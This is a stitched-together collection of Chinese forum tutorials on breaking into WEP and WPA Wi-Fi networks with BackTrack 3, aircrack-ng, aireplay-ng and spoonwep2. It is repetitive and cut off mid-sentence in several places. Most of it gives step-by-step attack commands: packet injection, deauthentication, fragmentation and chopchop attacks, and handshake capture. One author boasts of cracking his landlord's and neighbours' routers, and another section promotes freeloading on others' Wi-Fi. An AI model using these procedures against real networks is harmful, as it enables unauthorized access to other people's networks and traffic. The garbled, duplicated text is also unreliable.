Intel3945 BT3破解无线WEP和WPA教程
Intel3945 BT3破解无线WEP和WPA教程摘要：（加载网卡，激活监听模式，工作在11 信道）输入airmon-ng start wifi0 11 也可用iwconfi wifi0来查看网卡的工作模式和工作信道。
步：然后通过数据包制造程序Packetforge-ng提取xor文件中的PRGA伪造一个arp包，第十步：最后利用交互式攻击模式-2发本教程用于学习和交流，如要实验请拿自已的AP开刀！！《BT3破解无线WEP/WPA教程》。
由于本人也是初学者，缺乏专业的理论知识，因此文中不免存在理解的偏差甚至错误，希望各位朋友指正。
最后希望更多的朋友参与到教程的整理和编辑中，不断把教程修正和完善。
对无线WEP和WPA 破解有兴趣的朋友也可加入QQ一起交流。
谢谢！！WEP破解1．装备：IMBX60笔记本（内置Intel3945 无线网卡）、BT3 的U盘系统（需用syslinux命令来指定启动BT3 的盘符）2．用户名：root密码：toor，进入图形界面：startx。
启动BT3 后,(启动黑屏：xconf再输入startx)3．加载3945 网卡的驱动。
打开一个shell输入modprobe –r iwl3945输入modprobe ipwraw注：不同的网卡有不同的加载方式4．查找目标：用Airoscript命令（Backtrack/radio network analysis/80211/all/Aioscript）的扫描功能连续三次都选择1 发现5个，有4 个加密，data 都是0，开放的netgear 那个AP有一个客户端。
PWR 值一般看出信号强度。
也可以用airodump-ng wifi0 来搜索我们选择第一个作为目标，channel为11（上图中的CH 代表信道）。
注：修改自己网卡的MAC地址的命令。
输入macchanger –m 00:11:22:33:44:55 wifi05．激活网卡的Monitor模式并工作在11 信道。
（加载网卡，激活监听模式，工作在11 信道）输入airmon-ng start wifi0 11 也可用iwconfi wifi0 来查看网卡的工作模式和工作信道。
可用aireplay-ng --test wifi0 来测试是否可以注入6．输入截取数据包命令（截取11 信道的ivs数据包，并保存名为name.ivs）输入命令airodump-ng --ivs -w name -c 11 wifi0 ，（--ivs：仅截取ivs数据包，-w：写入文件，-c：截取ivs的信道）（其中name是获取的ivs 的保存文件的名字，11 是channel值，你根据实际修改）一. 有客户端WEP 破解1．有客户端，且合法客户端产生大量有效的数据，能直接获得大量IVS。
思路：1-6步同上7．直接用aircrack-ng破解第七步：aircrack-ng -n 64 -b <ap mac> name-01.ivs2．有客户端，合法客户端只能产生少量ivs 数据，就需要注入攻击加速产生大量ivs。
只要有少量的数据就可能获得arp 请求包，则可用arp 注入模式的-3 模式通过不断向AP 发送同样的arp请求包，来进行注入式攻击。
思路：1-6步同上7．用aireplay-ng的arp注入方式获得大量的ivs第七步：aireplay-ng -3 -b <ap mac> -h <合法客户端mac> wifi0注：这一步可能时间会长一点，因为需要等到ARP。
3．有客户端，但是客户端根本不在通信，不能产生ARP包。
-3注入模式不成功思路：1-6步同上7．-0 冲突模式强制断开合法客户端和ap连接，使之重新连接8．利用-0冲突模式重新连接所产生的握手数据让-3 获得有效的ARP从而完成ARP注入第七步：aireplay-ng -3 -b <ap mac> -h <合法客户端mac> wifi0第八步：aireplay-ng -0 10 –a <ap mac> -c <合法客户端mac> wifi04．有客户端，并且客户端能产生有效arp 数据的另类破解方式前面的步骤一样：输入modprobe –r iwl3945输入modprobe ipwraw输入airmon-ng start wifi0 11现在，只要一个命令就搞定，输入:输入wesside-ng -i wifi0 -v 01:02:03:04:05:06 (此格式的AP MAC)。
很简单吧，密码出来了。
二．无客户端WEP破解思路：1-6步同上因为是无客户端，所以第一步就需要和AP之间建立一个虚拟连接。
这是非常关键的一步。
为让AP 接受数据包，必须使自己的网卡和AP 关联。
如果没有关联的话，目标AP 将忽略所有从你网卡发送的数据包，IVS数据将不会产生。
第七步：输入aireplay-ng -1 0 -e <ap essid> -a <ap mac> -h <mac> wifi0如果回显虚拟伪装连接不成功，不能成功的原因很多，具体有如下几种：1、目标AP做了MAC地址过滤2、你离目标AP物理距离太远3、对方使用了WPA加密5、网卡、AP可能不兼容,网卡没有使用和AP一样的工作频道也可以使用命令tcpdump来确认网卡是否已经连接到目标AP上tcpdump -n -e -s0 -vvv -i wifi01．第一种破解方式：思路：1-7步同上建立虚拟连接后直接用-2 交互攻击模式，这个模式集合了抓包和提取数据，发攻击包三种能力。
第八步：抓包，提数据和发包攻击aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0发包成功后可得到足够的ivs，然后用aircrack-ng破解。
成功后如上图截获了一个可以直接进行注入的数据包，并回显Use this packet，按y 然后开始发包攻击，date飞快涨。
当获得足够的ivs以后就可破解了。
2．第二种破解方式：思路：1-7步同上第八步：利用-5 碎片攻击模式获得一个可用的包含密钥是数据文件（xor 文件）第九步：然后通过数据包制造程序Packetforge-ng提取xor 文件中的PRGA伪造一个arp包，第十步：最后利用交互式攻击模式-2发包攻击。
第八步：采用碎片包攻击模式-5，获得一个PRGA数据包（xor文件）。
输入aireplay-ng -5 -b <ap mac> -h <my mac> wifi0如顺利，将得到一个可利用的数据包如上图，系统将回显Use this packet ? 输入y 回车，将得到一个至关重要的xor 文件。
再输入ls 查看当前目录，你将看到刚才生成的一个后缀名为xor 的文件。
第九步：用数据包制造程序packetforge-ng将上面获得的xor 数据包伪造成可利用的ARP注入包。
输入packetforge-ng -0 -a <ap mac> -h <my mac> -k 255.255.255.255 –l 255.255.255.255 -yname-xor -w myarp参数说明：-y （filename）是用来读取PRGA的文件-w （filename）将arp包写入文件，我用的文件名是myarp系统回显：Wrote packet to: mrarp第十步：采用交互模式-2，发包注入攻击。
输入aireplay-ng -2 –r myarp -x 256 rausb0【-r】：从指定文件中读取arp数据包【-x】：定义每秒发送的数据包数量。
为避免网卡死机，可选择256，最高不超过1024输入y 回车攻击开始这时，前面的抓包窗口上的data 将迅速增加。
到数据增加到1.5万以上时。
第十一步：采用aircrack-ng 来进行破解3．第三种破解方式：思路：1-7步同上第八步：利用-4的Chopchop 攻击模式获得一个可用的包含密钥数据文件（xor 文件）第九步：通过数据包制造程序Packetforge-ng提取xor 文件中的PRGA伪造一个arp包第十步：最后利用交互式攻击模式-2发包攻击。
第八步：采用-4 的Chopchop 攻击模式获得一个包含密钥数据的xor 文件输入aireplay-ng -4 -b <ap mac> -h <my mac> wifi0参数说明：-b：设置需要破解的AP的mac-h：设置用于连接的无线网卡的mac（自己网卡）顺利将得到一个可利用的数据包，按y 将利用此数据包生产一个xor 文件如上图所示得到一个名为replay_dec-0523-075615的xor 文件，第九步：通过数据包制造程序Packetforge-ng提取上面xor 文件来伪造一个arp包输入packetforge-ng -0 -a <ap mac> -h <my mac> -k 255.255.255.255 –l 255.255.255.255 -yname-xor -w myarp如上图，成功生成一个名为myarp的可用来注入的arp数据包。
第十步：最后利用交互式攻击模式-2发包攻击。
输入aireplay-ng -2 -r myarp rausb0发现了可利用的myarp的数据包，按y后，立刻注入攻击。
Date疯涨破解WPA1、加载无线网卡驱动2、设置网卡为在指定的ap 的工作频道的监控模式这两部与前面相同3、输入截取数据包命令（截取11信道的cap 数据包，并保存名为12345.cap）输入命令airodump-ng -w 12345 -c 11 wifi0 ，（-w：写入文件，-c：截取cap的信道）（其中12345 是获取的cap的保存文件的名字，11是channel值，你根据实际修改。
）回车后可以看到是WPA-TIKP-PSK 加密方式4、进行-0的Deauth验证攻击这里为了便于WPA握手验证包的获取，必须进行Deauth验证攻击，这个对于采用WPA验证的AP攻击都会用到，可以迫使AP重新与已连接的合法客户端进行握手验证，重新握手验证过程中获得验证数据包。
输入：aireplay-ng -0 10 -a <ap mac> wifi0或者输入：aireplay-ng -0 10 -a <ap mac> -c <my mac> wifi0解释：-0 指的是采取Deautenticate 攻击方式，后面为发送次数。
BT3 破解无线路由器密码
一准备篇1、一个有可破解无线信号的环境。
如我在家随便搜索出来的信号。
2、带无线网卡的电脑一台（笔记本台式机均可，只要无线网卡兼容BT3），我用的是三星NC10的上网本。
3、2G以上优盘一个（我用的是kingston 8G 的）4、下载BT3，约900多兆。
注：BT3 全称BackTrack3，与我们常说的bt下载是完全不同的概念。
以我理解就是集成了一些计算机安全软件的linux系统。
正是由于它的出世和不断普及，使得破解可让普通用户轻易言之。
5、下载spoonwep2中文包。
注：spoonwep2就是我们的破解软件，一个非常强悍的图形化破解WEP无线网络密码的工具。
二、安装篇1、将优盘格式化，配置如下图，唯一要注意文件系统选为FAT32就可以了。
2、将刚才下载完成的bt3解压缩，复制到优盘，完成后会看到优盘目录下有两个文件夹，一个boot 一个BT3。
如下图：3、开始安装bt3系统。
点击开始-运行，输入CMD, 然后回车，进入命令行模式。
首先输入你优盘的盘符，我这里是h盘，输入h：然后回车接下来输入 cd boot 回车，进入到boot文件夹下最后 bootinst.bat 回车，就会开始安装BT3如下图。
然后安装会出现一个提示画面，我们别去管它，直接按任意键继续按任意键后，电脑会自动设置引导记录，整个过程大概10秒左右。
出现下面画面后，此优盘就可以引导系统进去bt3了。
4、集成spoonwep2软件。
首先把我们先前下载的spoonwep2解压缩，里面是六个扩展名为lzm 的文件，将这六个文件复制到优盘\bt3\modules文件夹下，如图：这样我们的bt3系统已经集成安装完毕了，可以动手破解了。
三破解篇1、将安装好系统的优盘插入电脑，重启后进入bios，设置优盘为电脑第一启动顺序。
（这个如果没设置过，可以问一下其他人，或者在网上找找设置方法，每台电脑进入bios的方法也不同，如开机按F2，Del，F1等等）2、设置优盘启动后，电脑会自动带入我们进入bt3操作系统（如果出现界面选择，你要选择vesa mode），系统界面是这样的（漂亮吧）：3、启动spoonwep2软件第一步：选择开始-backtrack->radio networkanalysis->80211->all->spoonwep2，跟windows操作一样启动spoonwep2后会看到选择网卡信息设置窗口，需要我们依次设置本地网卡接口，无线网卡芯片类型以及扫描模式，选择完毕后点next 继续。
BT3研究学习无线WEP和WPA增加版教程
BT3破解无线WEP/WPA教程声明：任何不经别人同意而进入别人网络都是非法和不道德的行为。
本教程用于学习和交流，如要实验请拿自已的AP开刀！！题记：本人是中国无线论坛/的ID“中卫”，无线安全版块是本论坛一个特殊而重要的版块，我们一直非常努力的想把这个板块做好。
作为板块现阶段的的一个重点就是无线WEP 和WPA的破解内容。
我根据各位坛友的教程和自己的理解整理编辑成这篇《BT3破解无线WEP/WPA教程》。
由于本人也是初学者，缺乏专业的理论知识，因此文中不免存在理解的偏差甚至错误，希望各位朋友指正。
最后希望更多的朋友参与到教程的整理和编辑中，不断把教程修正和完善。
如果对教程有任何意见和建议，欢迎各位到论坛提问和交流。
谢谢！！中卫08年7月13日开放式WEP破解1．装备：IMBX60笔记本（内置Intel3945无线网卡）、BT3的U盘系统（需用syslinux命令来指定启动BT3的盘符）2．用户名：root密码：toor，进入图形界面：startx。
启动BT3后,(启动黑屏：xconf再输入startx) 3．加载3945网卡的驱动。
打开一个shell输入modprobe –r iwl3945卸载原来的网卡驱动输入modprobe ipwraw 加载可监听的网卡驱动注：不同的网卡有不同的加载方式LINUX驱动是通过模块进行加载的，可以用lsmod来查看机器已加载的模块然后可以通过modinfo ipwraw（模块名）来查看所加载驱动模块的版本信息最新的ipwraw的版本是ipwraw-ng-2.3.4-04022008.tar.bz2的。
最新的版本需要设置rate为1M设置命令为iwconfig wifi0 rate 1M这个版本的驱动支持3945无线网卡发射功率得设置，命令如下iwconfig wifi0 txpower 16（TXPOWER是你想设置的值min=-12 and max=16，单位为dBm）参数on/off可以打开和关闭发射单元，auto和fixed指定无线是否自动选择发射功率。
BT3破解无线路由密码过程详解
BT3破解无线路由密码过程详解（第一篇：硬盘版）2009-11-01 17:122009-08-30 19:52现在用无线路由的很多，小区里随便搜索一下就能好几个无线信号，不过大部分都是加密的，本教程的目的是破解这些加密的信号，前提必须是用wep加密的，其实绝大多数都是wep加密的。
由于wap（非wep）加密的破解起来比较困难，成功率很低，故在此暂不讨论。
而wep加密的只要你的无线网卡能够被bt3支持，那么基本上10分钟左右（甚至更快）就能破解一个。
这篇帖子是以装在硬盘上为例进行介绍的====基本思路=====在Windows系统中安装BT3（linux）到D盘；重启后从双启动菜单选择进入BT3操作系统；在BT3中运行Spoonwep这个程序破解无限AP的密码。
====基本条件=====1.笔记本或台式机（必须有wifi网卡，而且必须能被bt3支持）；注：目前701/900/900HA等机型的无线网卡均支持BT3破解，这几款的无线网卡型号好像是Athero 5007EG。
901和1000H好像目前都不支持破解，因为之前我从网上找到了1000H的无线网卡在bt3中的驱动模块，能成功驱动起来，但只支持监听，不支持注入，所以无法破解到密码。
2.能够在你的周围搜索到无线信号，而且是用wep加密的（本文只讨论wep加密的破解，至于wap加密的暂不讨论）；3.如果无线路由有客户端，也就是有人在用这个路由的信号上网，那么破解起来要快一些；如果没有客户端的话，也可以破解，不过要慢一些。
====软件准备=====软件准备：本文用EeePC900HA（无线网卡：Athero 5007EG）为例做说明，采用硬盘安装bt3的方式（安装到D盘）（U盘安装BT3的方法参见：/redirect.php?tid=16670）。
1. BT3（BT3是linux的一种，好比REDLINUX，好比红旗LINUX。
不过这个BT3集成了大量的黑客工具，尤以破无线网的工具而出名。
如何破解无线路由器和WEP密码
如何破解无线路由器和WEP密码文章录入： 责任编辑： 464【字体：小大】近些年无线技术发展迅速，越来越多的用户使用无线设备在自己家建立起无线网络，通过搭建无线网络可以在家里的每个角落使用笔记本和无线网卡访问internet。
有很多文章都向大家介绍了无线安全之中的通过设置WEP加密来保证其他计算机以及非法用户无法连接我们建立的无线网络。
但是事实真的如此吗?WEP这个所谓的安全加密措施真的是万无一失吗?笔者通过很长时间的研究发现原来WEP并不安全。
我们可以通过几个工具加上一些手法来破解他，这样就可以在神不知鬼不觉的情况下，入侵已经进行WEP加密的无线网络。
下面笔者就分两篇文章为大家呈现WEP加密破解的全攻略。
一、破解难点：在介绍破解操作前，我们先要了解下一般用户是通过什么样的手法来提高自己无线网络的安全性的。
(1)修改SSID号：进入无线设备管理界面，将默认的厂商SSID号进行修改，这样其他用户就无法通过猜测这个默认厂商SSID号来连接无线网络了。
(2)取消SSID广播功能：默认情况下无线设备在开启无线功能时都是将自己的SSID号以广播的形式发送到空间中，那么在有信号的区域中，任何一款无线网卡都可以通过扫描的方式来找到这个SSID号。
这就有点象以前我们使用大喇叭进行广播，任何能够听到声音的人都知道你所说的信息。
同样我们可以通过在无线设备中将SSID号广播功能取消来避免广播。
(3)添加WEP加密功能：WEP加密可以说是无线设备中最基础的加密措施，很多用户都是通过他来配置提高无线设备安全的。
我们可以通过为无线设备开启WEP加密功能，然后选择加密位数也就是加密长度，最短是64位，我们可以输入一个10位密文，例如1111111111。
输入密文开启WEP 加密后只有知道这个密文的无线网卡才能够连接到我们设置了WEP加密的无线设备上，这二、SSID广播基础：那么鉴于上面提到的这些安全加密措施我们该如何破解呢?首先我们来看看关于SSID号的破解。
BT3无线网络解密之旅WEP,WPA
下面开始我们的解密之旅：一、准备篇1、一个有可破解无线信号的环境。
如我在家随便搜索出来的信号。
2、带无线网卡的电脑一台（笔记本台式机均可，只要无线网卡兼容BT3），我用的是三星NC10的上网本。
3、2G以上优盘一个（我用的是kingston 8G 的）4、搜索下载BT3，约900多兆。
注：BT3 全称BackTrack3，与我们常说的bt下载是完全不同的概念。
以我理解就是集成了一些计算机安全软件的linux系统。
正是由于它的出世和不断普及，使得破解可让普通用户轻易言之。
5、搜索下载spoonwep2中文包。
地址：注：spoonwep2就是我们的破解软件，一个非常强悍的图形化破解WEP 无线网络密码的工具。
二、安装篇1、将优盘格式化，配置如下图，唯一要注意文件系统选为FAT32就可以了。
2、将刚才下载完成的bt3解压缩，复制到优盘，完成后会看到优盘目录下有两个文件夹，一个boot 一个BT3。
3、开始安装bt3系统。
点击开始-运行，输入CMD, 然后回车，进入命令行模式。
首先输入你优盘的盘符，我这里是h盘，输入h：然后回车，接下来输入cd boot 回车，进入到boot文件夹下，最后bootinst.bat 回车，就会开始安装BT3。
然后安装会出现一个提示画面，我们别去管它，直接按任意键继续按任意键后，电脑会自动设置引导记录，整个过程大概10秒左右。
出现下面画面后，此优盘就可以引导系统进去bt3了。
4、集成spoonwep2软件。
首先把我们先前下载的spoonwep2解压缩，里面是六个扩展名为lzm的文件，将这六个文件复制到优盘\bt3\modules文件夹下。
这样我们的bt3系统已经集成安装完毕了，可以动手破解了。
三破解篇1、将安装好系统的优盘插入电脑，重启后进入bios，设置优盘为电脑第一启动顺序。
（这个如果没设置过，可以问一下其他人，或者在网上找找设置方法，每台电脑进入bios的方法也不同，如开机按F2，Del，F1等等）2、设置优盘启动后，电脑会自动带入我们进入bt3操作系统（如果出现界面选择，你要选择vesa mode），系统界面是这样的（漂亮吧）：3、启动spoonwep2软件第一步：选择开始-backtrack->radio network analysis->80211->all->spoonwep2，跟windows操作一样启动spoonwep2后会看到选择网卡信息设置窗口，需要我们依次设置本地网卡接口，无线网卡芯片类型以及扫描模式，选择完毕后点next继续。
用BT3入侵无线WEP快速上手指南
用BT3入侵无线WEP快速上手指南1、一定要从U盘或光盘引导进入BT3(一定不要在vmware中启动BT3)，选第四项进入文字模式,startx,在/pentest/wireless目录下面存放着工具2、airmon //查看网卡的监控状态airmon-ng start wlan0 //启动指定的无线网卡airodump-ng -w 123 eth0 //一般不需要执行ifconfig //查看网卡有没有启动3、首先要设置网卡，输入“spoondrv”，然后点那个“Show Loaded”会显示出目前加载的网卡驱动:比如我的无线网卡驱动为: 35 Realtek 81874、spoonwep //进入图形模式依次选:wlan0/normal/unknown victim最好先执行AP扫描操作，如果能扫描到AP接入点说明成功选"P0841 REPLAY ATTACK"在Victim MAC 后输入要破解的AP的BSSID5、将获得的密钥填入“网络密钥”栏中，要记住不是密码栏中一、先开始制作启动U盘：将下载好的backtrack3(BT3) usb版(下载地址在文章末尾)文件bt3b141207.rar直接解压到U盘（1G以上容量）。
把Boot 和BT3两个文件夹放到U盘的根目录，打开BOOT文件夹双击运行" bootinst.bat "批处理文件。
U盘里就会多出4个文件." isolinux.boot" "isolinux.cfg" "isolinux.bin " "syslinux.cfg" （如果想要中文截面的BT3的菜单,就在下载BT3中文语言包。
下载地址：/cn/docs/listallfiles.do 提取密码：4871454552251231。
（用的是免费的网络硬盘,广告较多,有些朋友可能没认真看没找到，我说下大概位置，输入提取码后,拉到中间找下面的几个字(红色的) 以下这三个链接后两个均可下载推荐快车（flashget）高速下载文件下载文件(IE浏览器) 下载文件(非IE浏览器)）把压缩包里的"中文包"解压出来，将里面的*.lzm文件拷贝到u盘的BT3\modules目录，即可实现bt3中文化。
BT3_U盘版一次性破解三个无线路由WEP密码
BT3_U盘版一次性破解三个无线路由WEP密码前言我刚买了个笔记本是HP541，内置Intel3945ABG无线网卡，在住处能搜到N多信号，有不设密码的，也有设置WEP密码的，还有设置WPA密码的。
其实，我本来不必要破解的。
我的住处本来就是既能上有线，也能上无线的。
但是那个房东太抠门了，看我有台台式机和一个笔记本，就要收我两份网费，我一气之下就说笔记本不上网。
随后决定宁可不用那些不加密的，也一定要把这个房东的无线路由给破解了。
这是我第一次破解成功的经历，竟然一次性破解了三个路由器的密码。
不过，对于无客户端的无线路由器，由于没有成功建立连接，就用了最笨的方法进行了破解，其实，这个无客户端的路由就是那房东的。
我的操作系统是Windows Vista Home Basic，网卡是内置Intel3945ABG。
非常感谢中国无线门户（/bbs/index.php）中国无线论坛（/）非常感谢《BackTrack使用全解—基础安装篇V1.0+WEP破解篇V1.0》的作者tange （/bbs/thread-13344-1-1.html）《BT3研究学习无线WEP和WPA增加版教程》的作者中卫（/thread-23-1-2.html）制作BT3的USB启动盘1.下载软件FlashBoot‐cn 和syslinux两个必备软件；2.下载bt3final_usb.iso文件到本地硬盘；3.将2G+的U盘格式化为FA T或FAT32格式（我的是FAT格式）；4.打开flashboot软件，选择“将可引导的光盘创建到一个副本到闪存盘上”然后点“下一步”，选择“从本机或局域网载入镜像文件”然后点“浏览”，在硬盘中找到bt3final_usb.iso。
然后“下一步”，选择“将连接在这台计算机上的闪存盘制作为可引导的设备”，并选中U盘盘符。
然后“下一步”；选择“保留磁盘数据（避免重新格式化）”，“下一步”开始将文件写入U盘。
如何破解无线网络WEP密码
如何破解无线网络WEP密码近些年无线技术发展迅速，越来越多的用户使用无线设备在自己家建立起无线网络，通过搭建无线网络可以在家里的每个角落使用笔记本和无线网卡访问internet。
有很多文章都向大家介绍了无线安全之中的通过设置WEP加密来保证其他计算机以及非法用户无法连接我们建立的无线网络。
但是事实真的如此吗？WEP这个所谓的安全加密措施真的是万无一失吗？笔者通过很长时间的研究发现原来WEP并不安全。
我们可以通过几个工具加上一些手法来破解他，这样就可以在神不知鬼不觉的情况下，入侵已经进行WEP加密的无线网络。
下面笔者就分两篇文章为大家呈现WEP加密破解的全攻略。
一、破解难点：在介绍破解操作前，我们先要了解下一般用户是通过什么样的手法来提高自己无线网络的安全性的。
（1）修改SSID号：进入无线设备管理界面，将默认的厂商SSID号进行修改，这样其他用户就无法通过猜测这个默认厂商SSID号来连接无线网络了。
（2）取消SSID广播功能：默认情况下无线设备在开启无线功能时都是将自己的SSID号以广播的形式发送到空间中，那么在有信号的区域中，任何一款无线网卡都可以通过扫描的方式来找到这个SSID号。
这就有点象以前我们使用大喇叭进行广播，任何能够听到声音的人都知道你所说的信息。
同样我们可以通过在无线设备中将SSID号广播功能取消来避免广播。
（3）添加WEP加密功能：WEP加密可以说是无线设备中最基础的加密措施，很多用户都是通过他来配置提高无线设备安全的。
我们可以通过为无线设备开启WEP加密功能，然后选择加密位数也就是加密长度，最短是64位，我们可以输入一个10位密文，例如1111111111。
输入密文开启WEP加密后只有知道这个密文的无线网卡才能够连接到我们设置了WEP加密的无线设备上，这样就有效的保证没有密文的人无法正常访问加密的无线网络。
二、SSID广播基础：那么鉴于上面提到的这些安全加密措施我们该如何破解呢？首先我们来看看关于SSID 号的破解。
BT3破解无线路由密码过程详解(第二篇：U盘版)
蹭网必备：BT3破解无线路由密码过程详解（第二篇：U盘版）BT3安装在硬盘上的，操作起来比较麻烦。
今天帖子的方法是将BT3安装在U盘或者SD卡上。
不明白BT3和无线信号密码破解是怎么回事的先自己百度一下吧，在这里就不详细介绍原理了。
本帖的思路：在U盘（或者SD卡）上安装BT3系统，从U盘启动进入BT3，利用Spoonwep2来破解wep 加密的无线信号。
====要求====1. 你的无线网卡比如支持BT3破解才可以，你可以对照附件中的列表查看自己的无限网卡是否支持bt3破解：BT3支持列表:1 Wireless Cards And Drivers2 Tested Card List2.1 PCI2.1.1 Asus WL-138g v22.1.2 Belkin F5D80012.1.3 CNet CWP-8542.1.4 Dlink DWL-AG5302.1.5 Dlink DWL-G5202.1.6 Dlink DWL-G5502.1.7 Dlink DWL-G5102.1.8 Foxconn WLL-33502.1.9 MSI PC60G2.1.10 Netgear WG311T2.1.11 Netgear WPN3112.1.12 SMC SMCWPCI-G2.2 Mini PCI (Built in)2.2.1 Broadcom BCM4306 802.11b/g (rev 3)2.2.2 Broadcom BCM4318 802.11b/g2.2.3 IBM AR5212 802.11abg NIC (rev 01)2.2.4 IPW21002.2.5 IPW22002.2.6 WN360G2.3 Mini PCIe (Built in)2.3.1 Broadcom BCM4311 802.11b/g2.3.2 IPW39452.3.3 IPWRAW (IPW3945 Monitor + Inject)2.3.4 IPW4965/IWL4965 agn2.3.5 Gigabyte GN-WS50G b/g2.4 PCMCIA Cards2.4.1 3COM 3CRWE154G72 v12.4.2 3COM 3CRPAG175B with XJACK Antenna2.4.3 Agere Systems ORiNOCO GOLD PC Card Classic 2.4.4 AirLink101 AWLC41302.4.5 ASUS WL100G2.4.6 Belkin F5D6020 v32.4.7 Belkin F5D7010 V10002.4.8 Belkin F5D7010 V3000UK2.4.9 Belkin F5D7010 V50002.4.10 Belkin F5D7010 V60002.4.11 Belkin F5D70112.4.12 Buffalo WLI-CB-G54HP2.4.13 Cisco AIR-LMC3502.4.14 Cisco AIR-PCM350-T2.4.15 Cisco Aironet AIR-CB21AG-A-K92.4.16 Dlink DW A-6452.4.17 Dlink DWL-650+2.4.18 Dlink DWL-G6502.4.19 Dlink DWL-G630，650+/-2.4.20 Dlink DWL-G650M2.4.21 Dlink DWL-G650+2.4.22 D-Link WNA-13302.4.23 Enterasys Roamabout 802.11 DS High Rate2.4.24 Gigabyte GN-WM01GT AirCruiserG Mach G 2.4.25 Lucent Technologies Orinoco Silver2.4.26 Linksys WPC11v42.4.27 Linksys WPC11v42.4.28 Linksys WPC54G v32.4.29 Motorola WN825G v22.4.30 NetGear MA4012.4.31 NetGear WPN5112.4.32 NetGear WPN511 - Range Max2.4.33 NetGear WG511T2.4.34 NetGear W AG511v22.4.35 NetGear WG511 v12.4.36 NetGear WG511v22.4.37 Netgear WG511U2.4.38 NetGear WPN511GR2.4.39 Netgear WPNT5112.4.40 PROXIM ORiNOCO 802.11b/g Gold (Model: 8470-WD)2.4.41 Senao NL-2511CD PLUS EXT22.4.42 Senao Sl-2511CD Plus EXT22.4.43 Senao SL-2511 CD PLUS (the one w/o external connectors)2.4.44 Sitecom WL-100b2.4.45 SMC 2532W-B2.4.46 SMC SMC2536W-AG2.4.47 SMC WCB-G2.4.48 SWEEX LW051 ver:1.02.4.49 TP-link SuperG&eXtended Range 108M Wireless Cardbus Adapter(TL-WN610G) 2.4.50 TP-link eXtended Range 54M Wireless Cardbus Adapter (TL-WN510G)2.4.51 Ubiquiti SRC2.4.52 Wistron WLAN 802.11a/b/g Cardbus CB9-GP2.4.53 X-Micro WLAN 11g PCMCIA Card (XWL-11GPAG)2.4.54 ZCom XI-325HP+2.4.55 Zyxel ZyAIR G-100 PCMCIA Card (FCC ID:N89-WE601l)2.5 USB Dongles2.5.1 Airlink101 AWLL30262.5.2 ALFA Networks AWUS036H2.5.3 ALFA Networks AWUS036S2.5.4 ASUS WL-167G2.5.5 A VM Fritz!Wlan USB V1.12.5.6 Belkin F5D7050 V12.5.7 Belkin F5D7050 (4000 series)2.5.8 Belkin F5D7050B2.5.9 Belkin F5D70512.5.10 Buffalo Airstation G54 WLI-U2-KG54-AI (2A)2.5.11 Chiefmax2.5.12 D-Link DWL 122 (USB) F/W3.2.1 H/W A12.5.13 D-Link DWL G122 (USB) F/W 2.03 B12.5.14 D-Link WUA-13402.5.15 Edimax EW-7317UG2.5.16 Edimax EW-7318USG2.5.17 Linksys WUSB54g v42.5.18 Linksys WUSB54GC2.5.19 MicroEdge MEG55A Wireless-G USB Dongle2.5.20 NetGear WG111v22.5.21 NetGear WG111T2.5.22 Netopia ter/gusb-e2.5.23 OvisLink Evo-w54usb2.5.24 SafeCom SWMULZ-54002.5.25 ZyDAS 12112.5.26 SMCWUSB-G EU2.5.27 MSI US54SE2.5.28 Hawking HWUG1目前已知支持bt3破解的几款上网本有：701，900，900HA等，不支持的有：联想S10，EeePC 1000H2. 要求你要破解到无线信号为wep加密（不能是wap），这个在破解的过程中能看出来是wep加密还是wap加密的。
bt3及spoonwep2教程,破解无线网密码
BT3圖片教程破解無線網路密碼本無線網路密碼破解傻瓜圖文教程只做技術交流之用，提醒各位注意無線網路安全性，請勿用於其他用途，否則後果自負。
前言：面對電腦搜索到的無線網路信號，你是否怦然心動？但看到一個個“啟用安全的無線網路”你是否又感到有一絲遺憾。
本人作為一個心動+遺憾的代表，充分發揮主觀能動性，總算學有所成，終於能成功無線密碼，這份成功的喜悅不敢獨享，寫下該篇教程。
注：1、本文針對的無線破解是指wep的破解，wpa破解現在仍是技術難題，不在本文討論之列，如果你家無線路由需要加密，為保障安全也請採用wpa模式。
如果你不知道何謂wep、wpa，請百度一下，會給你一個專業的回答。
最簡單的解釋就是無線信號的密碼，後者比前者加密程度高。
2、本文力求以傻瓜式、菜鳥式的方法解決問題，適合像我一樣不懂的菜鳥。
以下兩個列表分別是經過測試可用BT3進行破解無線網路的無線網卡和筆記本，請大家對照一下，其實沒有你自己網卡的型號也無所謂，可以試一下。
筆記本型號/index.php/HCL:Laptops網卡型號/index.php/HCL:Wireless 下面開始我們的解密之旅：一、準備篇1、一個有可破解無線信號的環境。
如我在家隨便搜索出來的信號。
2、帶無線網卡的電腦一台（筆記本臺式機均可，只要無線網卡相容BT3），我用的是DEL1400的上網本。
3、2G以上優盤一個（我用的是kingston 4G的）4、搜索下載BT3，約900多兆。
下載地址：http://cesium.di.uminho.pt/pub/backtrack/bt3final_usb.iso注：BT3 全稱BackTrack3，與我們常說的bt下載是完全不同的概念。
以我理解就是集成了一些電腦安全軟體的linux系統。
正是由於它的出世和不斷普及，使得破解可讓普通用戶輕易言之。
5、搜索下載spoonwep2中文包。
下載地址：http://119.147.41.16/down?cid=939A75C3CA148C7CDC90A23A7F59EF37B95A1FCC&t=2&f mt=&usrinput=spoonwep2&dt=2002000&ps=0_0&rt=0kbs&plt=0注：spoonwep2就是我們的破解軟體，一個非常強悍的圖形化破解WEP無線網路密碼的工具。